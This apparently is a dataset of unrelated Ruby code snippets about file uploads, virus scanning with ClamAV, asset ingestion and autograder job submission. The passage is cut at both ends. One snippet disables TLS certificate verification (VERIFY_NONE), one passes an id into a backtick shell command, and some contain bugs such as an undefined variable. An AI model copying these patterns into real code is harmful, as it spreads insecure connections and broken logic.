/[^\\w\\.\\-]/, '_'\n end\n \n error = false\n titleSet_display = current_user.user_key + \" \" + params[:files][0].original_filename\n \n #Create ClamAV instance for virus scanning\n clam = ClamAV.instance\n \n #Load ClamAV definitions\n clam.loaddb\n \n #Scan file (will return fixnum if ok, string with virus name if not ok)\n if params[:files][0].is_a? Tempfile\n logger.debug(\"TEMPFILE: #{params[:files][0].tempfile.path}\")\n scan_result = clam.scanfile(params[:files][0].tempfile.path)\n else\n logger.debug(\"FILE: #{params[:files][0].path}\")\n scan_result = clam.scanfile(params[:files][0].path)\n end\n \n if (scan_result.is_a? Fixnum)\n # create the Multiresimage\n \n edit_users_array = DIL_CONFIG['admin_staff'] | Array.new([current_user.user_key])\n \n @image = Multiresimage.new(:pid=>mint_pid(\"dil-local\"))\n logger.debug(\"FILES:#{params[:files]}\")\n @image.attach_file(params[:files])\n @image.apply_depositor_metadata(current_user.user_key)\n @image.edit_users = edit_users_array\n @image.titleSet_display = titleSet_display\n @image.save!\n \n @work = Vrawork.new(:pid=>mint_pid(\"dil-local\"))\n \n @image.add_relationship(:is_image_of, \"info:fedora/\" + @work.pid)\n @work.apply_depositor_metadata(current_user.user_key)\n @work.edit_users = edit_users_array\n @work.datastreams[\"properties\"].delete\n @work.add_relationship(:has_image, \"info:fedora/\" + @image.pid)\n \n #update the Vrawork's VRA xml\n #note: the xml_template creates the VRA xml for a VRA image. Update the vra:image tags to vra:work\n @work.update_vra_work_tag\n \n @work.titleSet_display_work = titleSet_display\n \n #update the refid field in the vra xml\n @image.update_ref_id(@image.pid)\n @work.update_ref_id(@work.pid)\n \n #update the relation set in the vra xml for the image and work\n @image.update_relation_set(@work.pid)\n @work.update_relation_set(@image.pid)\n \n @work.save!\n \n \n @image.save!\n \n #add image to Uploads collection\n personal_collection = current_user.get_uploads_collection\n DILCollection.add_image_to_personal_collection(personal_collection, DIL_CONFIG['dil_uploads_collection'], @image, current_user.user_key)\n \n UploadFile.create(:user=>current_user, :pid=>@image.pid)\n \n else\n error = true\n logger.error(\"VIRUS_DETECTED: #{scan_result} : #{params[:files][0].tempfile.path}\")\n \n #delete file from file system\n File.delete params[:files][0].tempfile.path\n end\n \n respond_to do |format|\n if !error\n format.json { \n render :json => [@image.to_jq_upload].to_json\t\t\t\n }\n #custom error message, responds to AJAX call \n else\n format.json { \n render :json => \"[{\\\"error\\\":\\\"VIRUS DETECTED\\\"}]\"\n }\n end\n end\n \n end", "def applicable_files; end", "def manage_files\n redirect_to wip_path()\n end", "def adm_upload_selected\n if params[:upload].nil?\n flash.now[:error]='Es wäre schon gut, vor dem Upload eine Datei auszuwählen'\n else\n fpath=params[:upload].tempfile\n fbasename=File.basename(params[:upload].original_filename)\n # tempf=File.open(fpath,'r:BOM|UTF-8')\n FileUtils.cp fpath, AMP_DIR+'/'+fbasename # Throws exception if it fails\n # tempf.close\n File.unlink(fpath) # Throws exception if it fails\n # Put information on it into DB.\n # Only adds to DB if not exists yet, otherwise old entry is kept\n added_info=Userpage.new_page_with_default(fbasename)\n if added_info.kind_of?(Array)\n if added_info.length == 0\n flash.now[:info]=\"Neue Version von #{fbasename} gespeichert.\"\n else\n flash.now[:error]=\"Fehler beim Speichern in die Datenbank: \"+added_info.to_sentence\n end\n else\n flash.now[:info]=\"Datei #{fbasename} gespeichert.\"\n end\n end\n prepare_admin_home_data\n render admin_pages_home_path\n end", "def upload\r\n \r\n end", "def file_update(project, old_file, new_fie)\n file = ActionDispatch::Http::UploadedFile.new(\n tempfile: upload(new_fie),\n filename: new_fie,\n original_filename: old_file\n )\n post :file_update, user_id: project.user.username,\n id: project.name,\n branch: 'master',\n destination: new_fie,\n message: 'update image',\n file: file\n end", "def tracked_files; end", "def file_utils; end", "def upload_shipped\n end", "def files\n redirect_to(ContentServer.uploaded_content_url(params[:id], '.' + params[:ext].to_s))#params[:id].to_s.gsub(\".\")[1]))\n end", "def files\n redirect_to(ContentServer.uploaded_content_url(params[:id], '.' + params[:ext].to_s))#params[:id].to_s.gsub(\".\")[1]))\n end", "def upload\n end", "def upload\n end", "def temp\n # Find all files in the system\n allFiles = Devfile.find(:all)\n \n metadatatype = MetadataType.find_by_name(\"backup_recovery_path\")\n if metadatatype == nil\n render :text => \"Metadatatype was not found\", :status => 404\n return\n end\n \n # Go through each file and add metadata to it\n allFiles.each do |x|\n metadatavalue = '/home/user/MyDocs/DCIM/'+x.name\n Metadata.find_or_create_by_metadata_type_id_and_devfile_id(:metadata_type_id => metadatatype.id,\n :value => metadatavalue,\n :devfile_id => x.id) \n end\n \n render :text => \"Metadata added to all files in the system\", :status => 201\n return\n end", "def directory_index\n end", "def process_file(item_file, index)\n if item_file.upload_file_path\n @logger.info(\"[Child #{index}] Copying file in bag to path: #{item_file.upload_full_path}\")\n item_file.copy_to_upload_full_path\n file = item_file.upload_file_url\n else\n item_file.copy_to_metadata_full_path\n @logger.info(\"[Child #{index}] Uploading filename from metadata to server: #{item_file.metadata_full_path}\")\n file = upload_file(item_file)\n item_file.delete_metadata_full_path\n end\n file\n end", "def convert_upload_jpgs\n\n page=Page.find(params[:page][:id])\n page.save!\n\n page.save_file(params[:page][:result_jpg], :jpg)\n page.save_file(params[:page][:result_sjpg], :s_jpg)\n\n push_app_status ## send status-update to application main page via private_pub gem, fayes,\n push_converted_page(page)\n\n render :nothing => true\n\n end", "def fix_image_links( file_name )\r\n\tlines = File.readlines(file_name)\r\n lines.each do |line| \r\n \tline.gsub!(/processed_files/, File.basename( file_name, '.htm') + \"_files\")\r\n\tend\r\n\tFile.open( file_name, 'w') { |f| f.write lines }\r\nend", "def default_files; end", "def insert_new_file(files_hash, file_ingest_source, institution_pid, set_exemplary=nil)\n puts files_hash.to_s\n\n raise 'Missing insert_new_file params' if files_hash.first[:file_path].blank? || files_hash.first[:datastream].blank? || files_hash.first[:file_name].blank?\n\n production_master = files_hash.select{ |hash| hash[:datastream] == 'productionMaster' }.first\n\n if production_master[:file_name].downcase.include?('.tif')\n self.descMetadata.insert_media_type('image/tiff')\n self.descMetadata.insert_media_type('image/jpeg')\n self.descMetadata.insert_media_type('image/jp2')\n inserted_obj = self.insert_new_image_file(files_hash, institution_pid,set_exemplary)\n elsif production_master[:file_name].downcase.include?('.jp2')\n self.descMetadata.insert_media_type('image/jpeg')\n self.descMetadata.insert_media_type('image/jp2')\n inserted_obj = self.insert_new_image_file(files_hash, institution_pid,set_exemplary)\n elsif production_master[:file_name].downcase.include?('.png')\n self.descMetadata.insert_media_type('image/png')\n self.descMetadata.insert_media_type('image/jpeg')\n self.descMetadata.insert_media_type('image/jp2')\n inserted_obj = self.insert_new_image_file(files_hash, institution_pid,set_exemplary)\n elsif production_master[:file_name].downcase.include?('.mp3')\n self.descMetadata.insert_media_type('audio/mpeg')\n inserted_obj = self.insert_new_audio_file(files_hash, institution_pid)\n elsif production_master[:file_name].downcase.include?('.wav')\n self.descMetadata.insert_media_type('audio/x-wav')\n inserted_obj = self.insert_new_audio_file(files_hash, institution_pid)\n elsif production_master[:file_name].downcase.include?('.aif')\n self.descMetadata.insert_media_type('audio/x-aiff')\n inserted_obj = self.insert_new_audio_file(files_hash, institution_pid)\n elsif production_master[:file_name].downcase.include?('.pdf')\n self.descMetadata.insert_media_type('application/pdf')\n ocr_preproduction_master = files_hash.select{ |hash| hash[:datastream] == 'preProductionNegativeMaster' }.first\n=begin\n if ocr_preproduction_master.present?\n self.descMetadata.insert_media_type('application/vnd.openxmlformats-officedocument.wordprocessingml.document')\n end\n=end\n inserted_obj = self.insert_new_document_file(files_hash, institution_pid,set_exemplary)\n elsif production_master[:file_name].downcase.include?('.txt')\n self.descMetadata.insert_media_type('text/plain')\n inserted_obj = self.insert_new_document_file(files_hash, institution_pid, false)\n elsif production_master[:file_name].downcase.include?('.epub')\n self.descMetadata.insert_media_type('application/epub+zip')\n inserted_obj = self.insert_new_ereader_file(files_hash, institution_pid)\n elsif production_master[:file_name].downcase.include?('.mobi')\n self.descMetadata.insert_media_type('application/x-mobipocket-ebook')\n inserted_obj = self.insert_new_ereader_file(files_hash, institution_pid)\n elsif production_master[:file_name].downcase.include?('daisy.zip')\n self.descMetadata.insert_media_type('application/zip')\n inserted_obj = self.insert_new_ereader_file(files_hash, institution_pid)\n elsif production_master[:file_name].downcase.include?('.mov')\n self.descMetadata.insert_media_type('video/quicktime')\n inserted_obj =self.insert_new_video_file(files_hash, institution_pid,set_exemplary)\n elsif productionMaster[:file_name].downcase.include?('.avi')\n self.descMetadata.insert_media_type('video/x-msvideo')\n inserted_obj =self.insert_new_video_file(files_hash, institution_pid, set_exemplary)\n else\n self.descMetadata.insert_media_type('image/jpeg')\n self.descMetadata.insert_media_type('image/jp2')\n inserted_obj = self.insert_new_image_file(files_hash, institution_pid,set_exemplary)\n end\n\n self.workflowMetadata.item_source.ingest_origin = file_ingest_source if self.workflowMetadata.item_source.ingest_origin.blank?\n files_hash.each do |file|\n original_file_location = file[:original_file_location]\n original_file_location ||= file[:file_path]\n self.workflowMetadata.insert_file_source(original_file_location,file[:file_name],file[:datastream])\n end\n inserted_obj\n end", "def rename_fs_item\n\n err_str = ''\n begin # a one time loop to allow break\n \n new_name = params[:name]\n if ( new_name.blank? )\n err_str = 'Empty name not allowed'\n break\n end\n \n generic_ty = Integer(params[:sel_kind]) rescue generic_ty = FSTYPE_INVALID\n elem_id = Integer(params[:sel_id]) rescue elem_id = -1\n if ( elem_id <= 0 )\n err_str = 'Invalid index'\n break\n end\n \n if ( generic_ty == FSTYPE_FILE )\n to_upd = Dfile.find_by_id( elem_id )\n if ( to_upd )\n to_upd.name = new_name\n if to_upd.save\n reponse = { action_id: params[:action_id],\n new_id: to_upd.id,\n new_name: to_upd.name,\n parent_id: to_upd.directory_id,\n kind_name: 'generic'\n }\n render :json => reponse, :layout => false, :status => 200 and return\n else\n err_str = 'Failed to save file name'\n break\n end\n else\n err_str = 'File does not exist'\n break\n end\n elsif ( generic_ty == FSTYPE_DIR )\n to_upd = Directory.find_by_id( elem_id )\n if ( to_upd )\n to_upd.name = new_name\n if to_upd.save\n reponse = { action_id: params[:action_id],\n new_id: to_upd.id,\n new_name: to_upd.name,\n parent_id: to_upd.parent_id,\n kind_name: 'directory'\n }\n render :json => reponse, :layout => false, :status => 200 and return\n else\n err_str = 'Failed to save directory'\n break\n end\n else\n err_str = 'Directory does not exist'\n break\n end\n else\n err_str = 'Invalid entry type'\n break\n end\n \n end until true # a one time loop to allow break\n render json: err_str, status: :unprocessable_entity and return\n end", "def new_dirs; end", "def fa_request(fn, name, *_)\n ix = convert_integer(fn, \"!File number\")\n @files[ix] = {name: name.sub(/^\\*/,''), path: get_file_name(name), number: ix}\n end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def add_fileset\n\n # grab the parameters\n work_id = params[:work]\n file_id = params[:file]\n label = params[:label]\n\n # validate them\n if work_id.blank? == false && file_id.blank? == false && label.blank? == false\n work = get_the_work( work_id )\n if work.nil? == false\n filename = APIV1FilesetsController.cache_contents( file_id )\n if filename.blank? == false\n fileset = ::FileSet.new\n fileset.title << label\n file_actor = ::CurationConcerns::Actors::FileSetActor.new( fileset, @api_user )\n file_actor.create_metadata( work )\n file_actor.create_content( File.open( filename ) )\n fileset.visibility = Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC\n fileset.save!\n\n # audit the information\n #audit_log( \"File #{label} for work id #{work_id} (#{work.identifier}) added by #{User.cid_from_email( @api_user.email)}\" )\n WorkAudit.audit( work_id, User.cid_from_email( @api_user.email), \"File #{File.basename( filename )}/#{label} added\" )\n\n render_standard_response( :ok )\n else\n render_standard_response( :not_found, 'File not found' )\n end\n else\n render_standard_response( :not_found, 'Work not found' )\n end\n else\n render_standard_response( :unauthorized, 'Missing work identifier or file identifier or file label' )\n end\n\n end", "def db_add_pull_request_files(db, client, issues, org, repo)\n issues.each do |item|\n if(item.pull_request)\n begin\n files=client.pull_request_files(\"#{org}/#{repo}\", item.number.to_i)\n files.each do |file|\n if(db_pull_request_file_stored?(db, item.id, file.filename))\n db[\"DELETE FROM pull_request_files WHERE pull_request_id=? AND filename=?\", item.id.to_s, file.filename].delete\n end\n db[\n \"INSERT INTO pull_request_files (pull_request_id, filename, additions, deletions, changes, status)\n VALUES (?, ?, ?, ?, ?, ?)\",\n item.id, file.filename, file.additions, file.deletions, file.changes, file.status].insert\n end\n rescue Octokit::InternalServerError\n # 500 - Server Error: Sorry, there was a problem generating this diff. The repository may be missing relevant data. (Octokit::InternalServerError)\n # Skipping\n end\n end\n end\n end", "def createVm\n extend_config_module()\n\n \tprint \"\\n---> createVm() \\n\"\n\n assessmentDir = File.join(AUTOCONFIG_COURSE_DIR,@course.name,@assessment.name)\n\n # Send OPEN api request to create course-lab directory.\n openReqURL = \"http://#{RESTFUL_HOST}:#{RESTFUL_PORT}/open/#{RESTFUL_KEY}/#{RESTFUL_COURSELAB}/\"\n COURSE_LOGGER.log(\"Req: \" + openReqURL)\n openResponse = Net::HTTP.get_response(URI.parse(openReqURL))\n openResponseJSON = JSON.parse(openResponse.body)\n if (openResponseJSON.nil? || openResponseJSON[\"statusId\"] < 0) then\n return -1\n end\n existingFileList = openResponseJSON[\"files\"]\n print \"\\n\\n\"\n print existingFileList\n print \"\\n\\n\"\n\n COURSE_LOGGER.log(\"Existing File List: #{existingFileList.to_s}\")\n\n # Send UPLOAD api request to upload autograde files.\n uploadHTTPReq = Net::HTTP.new(RESTFUL_HOST, RESTFUL_PORT)\n begin\n COURSE_LOGGER.log(\"Dir: #{assessmentDir}\")\n\n if @assessment.config_module.instance_methods.include?(:autogradeInputFiles) then\n uploadFileList = @assessment.config_module.autogradeInputFiles(assessmentDir)\n else \n uploadFileList = autogradeInputFiles(assessmentDir)\n print \"\\n\\n\"\n print uploadFileList\n print \"\\n\\n\"\n\n end\n\n COURSE_LOGGER.log(\"Upload File List: #{uploadFileList.to_s}\")\n rescue Exception => e\n print e\n COURSE_LOGGER.log(\"Error with getting files: \" + e.to_s)\n e.backtrace.each { |line| COURSE_LOGGER.log(line) }\n return -3\n end\n\n\n uploadFileList.each { |f|\n\n print \"\\n\"\n print f[\"localFile\"]\n print \"\\n\"\n\n md5hash = Digest::MD5.file(f[\"localFile\"]).to_s\n\n print \"\\n\"\n print md5hash\n print \"\\n\"\n unless existingFileList.include?(md5hash)\n uploadReq = Net::HTTP::Post.new(\"/upload/#{RESTFUL_KEY}/#{RESTFUL_COURSELAB}/\")\n\t uploadReq.add_field(\"Filename\", f[\"destFile\"])\n begin\n file = File.open(f[\"localFile\"], \"rb\")\n uploadReq.body = file.read\n rescue Exception\n return -4\n ensure\n file.close unless file.nil?\n end\n uploadResponse = uploadHTTPReq.request(uploadReq)\n COURSE_LOGGER.log(\"Req: \"+ \"/upload/#{RESTFUL_KEY}/#{RESTFUL_COURSELAB}/\"); \n\tuploadResponseJSON = JSON.parse(uploadResponse.body)\n if (uploadResponseJSON.nil? || uploadResponseJSON[\"statusId\"] < 0) then \n return -6\n end\n end\n }\n\n # Get the autograding properties for this assessment. \n @autograde_prop = AutogradingSetup.where(:assessment_id => @assessment.id).first\n if !@autograde_prop then\n return -2\n end\n\n File.join(AUTOCONFIG_COURSE_DIR,@course.name,@assessment.name)\n\n filename = @submission.course_user_datum.email + \"_\" +\n @submission.version.to_s + \"_\" +\n @assessment.name + \"_\" +\n \"autograde.txt\"\n feedbackFile = File.join(assessmentDir, @assessment.handin_directory, filename)\n\n COURSE_LOGGER.log(\"Feedbackfile:\" + feedbackFile)\n\n # Generate the dave number/string, this is used when autograding is\n # done. The key is not guaranteed to be unique, we just hope to God\n # it is. \n dave = (0...60).map{65.+(rand(25)).chr}.join\n daveNum = rand(2000000000)\n\n callBackURL = request.base_url +\n \"/courses/#{@course.id}/assessments/#{@assessment.id}/submissions/#{@submission.id}/\" +\n \"autograde_done?dave=#{dave}\"\n\n COURSE_LOGGER.log(\"Callback: #{callBackURL}\") \n\n jobName = @course.name + \"_\" +\n @assessment.name + \"_\" +\n @submission.version.to_s + \"_\" +\n @submission.course_user_datum.email\n\n\n # Send ADDJOB api request to add autograde job to queue.\n addJobHTTPReq = Net::HTTP.new(RESTFUL_HOST, RESTFUL_PORT)\n addJobReq = Net::HTTP::Post.new(\"/addJob/#{RESTFUL_KEY}/#{RESTFUL_COURSELAB}/\")\n addJobReq.body = {\"image\" => \"rhel\", #@autograde_prop.autograde_image,\n \"files\" => uploadFileList.map{|f| Pathname.new(f[\"destFile\"]).basename.to_s},\n \"output_file\" => filename,\n \"timeout\" => @autograde_prop.autograde_timeout,\n \"callback_url\" => callBackURL,\n \"jobName\" => jobName }.to_json\n\n\n list = uploadFileList.map{|f| Pathname.new(f[\"destFile\"]).basename.to_s}\n COURSE_LOGGER.log(\"Files: #{list.to_s}\")\n COURSE_LOGGER.log(\"Req: \"+ \"/addJob/#{RESTFUL_KEY}/#{RESTFUL_COURSELAB}/\")\n addJobResponse = addJobHTTPReq.request(addJobReq)\n addJobResponseJSON = JSON.parse(addJobResponse.body)\n autogradeModule = UserModule.load(\"Autograde\",@assessment.id)\n if (autogradeModule == nil) then\n moduleInstallAutograde()\n autogradeModule = UserModule.load(\"Autograde\",@assessment.id)\n end\n autogradeModule.put(\"dave_key\",daveNum,dave)\n\n subName = \"#{@submission.course_user_datum.email}-#{@submission.version}\"\n autogradeModule.put(\"dave_user\",daveNum,subName)\n\n # Sanity check that job has been added successfully.\n if addJobResponseJSON.nil? || addJobResponseJSON[\"statusId\"] < 0 then\n return -9\n end\n\n # If user opt not to use a call back URL, we pull the job for 50 seconds.\n # Otherwise, nothing needs to be done here.\n if callBackURL.nil? || callBackURL.empty? then\n begin\n feedback = Timeout::timeout(80) {\n while true do\n pollReqURL = \"http://#{RESTFUL_HOST}:#{RESTFUL_PORT}/poll/#{RESTFUL_KEY}/#{RESTFUL_COURSELAB}/#{filename}/\"\n pollResponse = Net::HTTP.get_response(URI.parse(pollReqURL))\n if pollResponse.content_type == \"application/json\" then\n pollResponseStatusId = JSON.parse(pollResponse.body)[\"statusId\"]\n else\n feedback = pollResponse.body \n break\n end\n sleep 3\n end\n feedback = feedback\n }\n rescue Timeout::Error\n return -11 #pollResponseStatusId\n end\n if feedback.nil? then\n return -19 #pollResponseStatusId\n else\n autogradeDone(dave, @submission, feedback)\n end\n end #if no callback url\n \n return addJobResponseJSON[\"jobId\"]\n end", "def test_seenewfiles\n server = nil\n testdir, pattern, tmpfile = mktestdir\n\n\n newfile = File.join(testdir, \"newfile\")\n\n # go through the whole schtick again...\n file = nil\n checks = Puppet::Network::Handler.fileserver::CHECKPARAMS\n\n assert_nothing_raised {\n\n server = Puppet::Network::Handler.fileserver.new(\n\n :Local => true,\n\n :Config => false\n )\n }\n\n assert_nothing_raised {\n server.mount(testdir, \"test\")\n }\n\n list = nil\n sfile = \"/test/\"\n assert_nothing_raised {\n list = server.list(sfile, :manage, true, false)\n }\n\n # create the new file\n File.open(newfile, \"w\") { |f|\n 3.times { f.puts rand(100) }\n }\n\n newlist = nil\n assert_nothing_raised {\n newlist = server.list(sfile, :manage, true, false)\n }\n\n # verify the list has changed\n assert(list != newlist)\n\n # and verify that we are specifically seeing the new file\n assert(newlist =~ /newfile/)\n end", "def rid_by_file; end", "def addLargeFiletoUUID(pid, filepath)\n addLargeFile(pid,filepath)\n print \"File Uploaded successfully!\"\n end", "def file\n end", "def file\n end", "def prepare_identities_from_files; end", "def create\n if params.has_key?(:number_of_files) and params[:number_of_files] != \"0\"\n return redirect_to({:controller => \"catalog\", :action => \"edit\", :id => params[:id], :wf_step => :files, :number_of_files => params[:number_of_files], :anchor=>\"uploader\"})\n elsif params.has_key?(:number_of_files) and params[:number_of_files] == \"0\"\n return redirect_to( {:controller => \"catalog\", :action => \"edit\", :id => params[:id]}.merge(params_for_next_step_in_wokflow) )\n end\n \n if params.has_key?(:Filedata)\n @file_assets = create_and_save_file_assets_from_params\n notice = []\n @file_assets.each do |file_asset|\n apply_depositor_metadata(file_asset)\n \n notice << \"The file #{file_asset.label} has been saved in <a href=\\\"#{asset_url(file_asset.pid)}\\\">#{file_asset.pid}</a>.\"\n \n if !params[:container_id].nil?\n associate_file_asset_with_container(file_asset,params[:container_id])\n end\n \n ## Apply any posted file metadata\n unless params[:asset].nil?\n logger.debug(\"applying submitted file metadata: #{@sanitized_params.inspect}\")\n apply_file_metadata\n end\n # If redirect_params has not been set, use {:action=>:index}\n logger.debug \"Created #{file_asset.pid}.\"\n end\n flash[:notice] = notice.join(\"<br/>\") unless notice.blank?\n else\n flash[:notice] = \"You must specify a file to upload.\"\n end\n \n if !params[:container_id].nil?\n redirect_params = {:controller => \"catalog\", :action => \"edit\", :id => params[:container_id]}.merge(params_for_next_step_in_wokflow)\n end\n redirect_params ||= {:controller => \"catalog\", :action => \"edit\", :id => params[:id]}.merge(params_for_next_step_in_wokflow)\n \n redirect_to redirect_params\n end", "def create\n @f = F.new\n original_filename = params['upload'].original_filename \n \n unless File.exists?(software_path)\n Dir.mkdir(software_path)\n end\n \n unless File.exists?(version_path)\n Dir.mkdir(version_path)\n end\n \n filename = version_path + '/' + original_filename\n file_object = File.open(filename, 'wb+') \n file_object.write(params['upload'].read)\n file_object.close\n \n md5sum = Digest::MD5.file(filename).hexdigest\n \n @f.sn = @package.fs.size + 1\n @f.name = original_filename\n @f.content_type = params['upload'].content_type.chomp\n @f.package_id = @package.id\n @f.md5sum = md5sum\n @f.save\n\n redirect_to software_package_fs_path(@software, @package) \n end", "def on_other_file; end", "def filestransferred\r\n\t\t\t`#{BITS::BITSADMIN} /getfilestransferred {#{@id}}`\r\n\t\tend", "def ingest_new_content( depositor, work, file_str, asset_dir, current, total )\n file_names = file_str.split('|')\n\n puts \"Ingesting row #{current} of #{total}: #{work.title.join} (#{file_names.length} assets)...\"\n\n # handle dry running\n return true if ENV[ 'DRY_RUN' ]\n\n # and upload each file\n file_names.each do |file_name|\n\n # Clamav can't handle file names with space, (, or )\n # Assume they have been removed, but keep them in the label\n adjusted_file_name = file_name.gsub(/[() ]/, '_')\n file_path = File.join( asset_dir, adjusted_file_name )\n\n # remove spaces in filename\n #file_no_spaces = file_path.gsub(' ', '_')\n #File.rename(file_path, file_no_spaces)\n #file_path = file_no_spaces\n\n # Check for existing asset\n if work.file_sets.any? {|fs| fs.title.first == file_name }\n puts \"Skipping existing file: #{file_name}\"\n next\n end\n\n if File.exist?(file_path)\n fileset = TaskHelpers.upload_file( depositor, work, file_path, file_name, work.visibility )\n else\n puts \"File does not exist: #{file_path}\"\n end\n # Upload very slowly...\n sleep(30)\n\n end\n\n return true\n end", "def replace_parts\n params[:page] = params[:page].nil? ? 1 : params[:page]\n if params[:old_part_number].present? and params[:new_part_number].present?\n if params[:old_part_number].strip == params[:new_part_number].strip\n flash[:error] = \"Same Part Numbers cannot be replaced.\"\n else\n @part_upload = current_customer.kit_bom_bulk_operations.new(:operation_type => \"PART REPLACEMENT\",:old_part_number => params[:old_part_number].strip,:new_part_number => params[:new_part_number].strip,:status => \"PROCESSING\")\n if @part_upload.save\n path=\"#{@part_upload.old_part_number}_#{@part_upload.new_part_number}_#{@part_upload.id}.csv\".gsub(\"/\",\"-\") rescue \"Response_#{@part_upload.id}.csv\"\n @part_upload.update_attribute(\"file_path\",path)\n begin\n webservice_uri = URI.join(APP_CONFIG['webservice_uri_format'], '/datamigration/replaceParts',{\"id\" => @part_upload.id.to_s, \"custNo\" => current_customer.cust_no, \"custId\" => current_customer.id.to_s,\"oldPart\" =>@part_upload.old_part_number,\"newPart\" => @part_upload.new_part_number,:um => params[:new_uom] }.map{ |key, value| \"#{key}=#{CGI.escape(value)}\" }.join(\"&\").insert(0, \"?\"))\n uri = URI.parse(webservice_uri.to_s)\n http = Net::HTTP.new(uri.host, uri.port)\n if APP_CONFIG['webservice_uri_format'].include? \"https\"\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n http.open_timeout = 25\n http.read_timeout = 500\n @rb_response = http.start do |http|\n request = Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth APP_CONFIG['username'], APP_CONFIG['password']\n response = http.request request\n end\n @data = JSON.parse(@rb_response.body)\n rescue => e\n config.logger.warn \"ERROR IN PART REPLACEMENT LINE 235 #{e.backtrace} \" rescue \"ERROR IN PART REPLACEMENT LINE 235\"\n puts e.backtrace\n end\n if @data[\"errMsg\"].nil?\n flash[:success] = @data[\"successMsg\"]\n else\n flash[:error] = @data[\"errMsg\"]\n end\n else\n config.logger.warn \"ERROR OCCURED WHILE SAVING PART REPLACEMENT DATA #{@part_upload.errors.inspect}\" rescue \"ERROR OCCURED WHILE SAVING PART REPLACEMENT DATA.\"\n flash[:error] = \"Something Went Wrong Contact with your KLX Administrator.\"\n end\n end\n end\n @part_list=Kitting::KitBomBulkOperation.where(\" operation_type = ? and customer_id IN (?) \",\"PART REPLACEMENT\",current_company).paginate(:page => params[:page], :per_page => 100).order('created_at desc')\n end", "def requested_file(request_line)\r\n # ... implementation details to be discussed later ...\r\nend", "def update_file_paths \n if self.url_part_was && self.url_part && self.short_name_changed?\n old_url_part = self.url_part\n old_ref_path = self.assignment_reference_repository.git_path\n set_url_part\n \n if old_url_part == self.url_part\n # Nothing changes\n return\n end\n \n self.save\n \n # Move reference repository folder if necessary\n if File.directory?(old_ref_path) \n new_ref_path = String.new(old_ref_path)\n new_ref_path[new_ref_path.index(File.basename(new_ref_path))..-1] = self.url_part\n \n FileUtils.mv old_ref_path, new_ref_path\n end\n \n # Move assignment repositories if necessary\n self.assignment_offerings.each do |assignment_offering|\n old_assignment_repo_path = File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n old_url_part)\n \n if File.directory?(old_assignment_repo_path)\n new_assignment_repo_path = File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n self.url_part) \n \n FileUtils.mv old_assignment_repo_path, new_assignment_repo_path\n end \n \n end\n end\n end", "def override\n document_id = params[:document_id]\n document = params[:document]\n document_type = params[:document_type]\n ticket = Document.ticket(Alfresco::Document::ALFRESCO_USER, Alfresco::Document::ALFRESCO_PASSWORD)\n\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.entry(:xmlns => \"http://www.w3.org/2005/Atom\",\n \"xmlns:cmisra\" => \"http://docs.oasis-open.org/ns/cmis/restatom/200908/\",\n \"xmlns:cmis\" => \"http://docs.oasis-open.org/ns/cmis/core/200908/\") {\n xml.title document.original_filename if document\n xml.summary document_type\n if document\n xml.content(:type => document.content_type) {\n xml.text Base64.encode64(document.read)\n }\n end\n }\n end\n\n url = Document::PATH + \"cmis/i/#{document_id}?alf_ticket=\" + ticket\n\n begin\n RestClient.put url, builder.to_xml, {:content_type => 'application/atom+xml;type=entry'}\n rescue => e\n Rails.logger.info \"#\"*50\n Rails.logger.info \"Error updating file\"\n Rails.logger.info e.message\n Rails.logger.info \"#\"*50\n end\n\n redirect_to :controller => 'related_service_requests', :action => 'show', :anchor => 'documents', :service_request_id => params[:friendly_id], :id => params[:ssr_id]\n end", "def process_file\n instance_variable_get(:@fields).keys.each do |locale|\n request = Request.new(\n \"/#{space.id}/assets/#{id}/files/#{locale}/process\",\n {},\n nil,\n version: sys[:version]\n )\n request.put\n end\n sys[:version] += 1\n self\n end", "def file_link\n return \"#{SITE_URL}system/ufiles/#{id}/original/#{ufile_file_name}\"\n end", "def file_get fnum\n\t\tds = Sdb[:file_info].filter(:fnum => fnum)\n\t\tunless ds.empty?\n\t\t\tsend_file Spath[:upload_dir] + ds.get(:path).to_s, :type => ds.get(:type).split('/').last.to_sym\n\t\telse\n\t\t\tmodule_name = \"view\"\n\t\t\tpath = \"#{Smods[module_name]}#{Spath[:assets]}images/default.jpg\"\n\t\t\tsend_file path, :type => :jpeg\n\t\tend\n\tend", "def croucher_index_file\n nil\n end", "def post_file_maintenance\n render json: {job_id: nil, error: \"PHASTER is currently undergoing maintenance. Please try again later.\"}\n end", "def run_hyunwoo_20140520_upload \n v_base_path = Shared.get_base_path()\n @schedule = Schedule.where(\"name in ('hyunwoo_20140520_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting hyunwoo_20140520_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n v_computer = \"kanga\"\n # table cg_hyunwoo_20140520 populated by pet with v1/v2 \n connection = ActiveRecord::Base.connection();\n # get adrc subjectid to upload\n sql = \"select distinct subjectid , scan_procedure_id from cg_hyunwoo_20140520 where done_flag ='N' and status_flag in ('Y','R') \"\n results = connection.execute(sql)\n # changed to series_description_maps table\n v_folder_array = Array.new\n v_scan_desc_type_array = Array.new\n # check for dir in /tmp\n v_target_dir =\"/tmp/hyunwoo_20140520_upload\"\n ###v_target_dir =\"/Volumes/Macintosh_HD2/hyunwoo_20140520_upload\"\n if !File.directory?(v_target_dir)\n v_call = \"mkdir \"+v_target_dir\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n end\n v_comment = \" :list of subjectid \"+v_comment\n results.each do |r|\n v_comment = r[0]+\",\"+v_comment\n end\n @schedulerun.comment =v_comment[0..1990]\n @schedulerun.save\n results.each do |r|\n v_comment = \"strt \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment[0..1990]\n @schedulerun.save\n # update schedulerun comment - prepend \n sql_vgroup = \"select DATE_FORMAT(max(v.vgroup_date),'%Y%m%d' ) from vgroups v where v.id in (select 